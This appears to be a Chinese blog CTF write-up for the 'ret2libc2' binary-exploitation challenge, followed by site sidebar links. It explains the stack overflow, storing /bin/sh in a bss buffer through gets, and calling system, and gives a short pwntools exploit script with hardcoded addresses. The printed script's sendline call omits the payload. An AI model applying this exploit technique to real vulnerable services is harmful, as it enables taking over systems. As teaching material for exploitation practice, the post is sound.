当前位置:网站首页>PWN —— ret2libc2
PWN —— ret2libc2
2022-07-22 18:12:00 【Mokapeng】
拿到题目,先checksec一下:
发现NX打开,不能自己构造shellcode,打开ida查找是否由后门函数,发现并没有
再查找是否存在/bin/sh
发现也不存在/bin/sh,则直接看plt表
由gets和system表,则想到可以利用gets读到/bin/sh,然后用system获取/bin/sh,读取这个字符串一般放在bss段,利用IDA进行查找。
发现存在一个buf2可以用来存/bin/sh,则可构造栈结构图:
则开始写攻击代码
from pwn import *
io = process("./ret2libc2")
payload = 112* b'A' + p32(0x8048460) + p32(0x8048490) + p32(0x804A080)*2
io.sendline()
io.interactive()
# 交互时要在gets出输入/bin/sh
这题还可以换种思路,利用ROPgadget进行溢出
虽然该题目是动态连接,但还是存在一点gadget的,比如pop ebx ; ret,由于ebx无特别功能,可以利用其栈平衡

解释一下:当执行gets后,会向上2个位置获取参数,本图即buf2的位置,然后esp指向pop_ebx_ret,执行pop_ebx_ret将buf2移出栈,执行[email protected],再用pop_ebx_ret将system的参数移出栈,达到栈平衡
边栏推荐
- Mobile application classification
- Iptables firewall
- Detailed explanation of three types of high-frequency function operation of basic C programming under liinux class I - file operation function (f)
- 防火墙调研报告
- 编程入门3——求最大值
- 查看进程!!!rpm安装!!!
- 逻辑卷管理
- 指针学习日记(四)使用结构与指针(链表)
- Asset mapping process
- Basic elements of information collection
猜你喜欢

Configure the private chirpstack of lorawan in the LAN

esp-idf vscode配置 从下载工具链到创建工程,步骤记录

嵌入式系统移植【3】——uboot的烧写及使用

第四次作业:关于cat,grep,cut,sort,uniq,vim,tr等命令的用法

Iptables firewall

腾讯云接入LoRaWAN并调试

两个及其简单的TCPUDP程序,树莓派与pc间的通信

UNIX编程项目—基于树莓派的客户端定时获取温度上报给服务器

Explain three networking modes under virtual machine in detail

从键盘输入一串字符,输出不同的字符以及每个字符出现的次数。(输出不按照顺序)运用String类的常用方法解题
随机推荐
vim编辑器的使用
Regular expression I
zstuAcm登记成绩(用STL链表list完成)
讀《高效閱讀法-最劃算的自我投資》有感
vector与迭代器部分内容学习
在局域网内配置LoRaWAN的私有ChirpStack
Common problems of multiple processes - how to lock the same parent thread variable (critical resource) when creating multiple threads so that the shared parent thread variable is not repeatedly modif
LC:剑指 Offer 03. 数组中重复的数字
DNS域名解析服务
防火墙知识,原理,设备,厂商调研总结报告
输入两个字符串 str1、str2,统计字符串 str2 出现在 str1 中的次数。
重置root密码
expect 交互
基于知识图谱的职位推荐系统的设计与实现
01. Introduction to large Internet Architecture
UNIX Programming - network socket
shell之条件语句
【基础8】——进程和线程
[Research Report on the contents, methods, tools and results of information collection]
SSH服务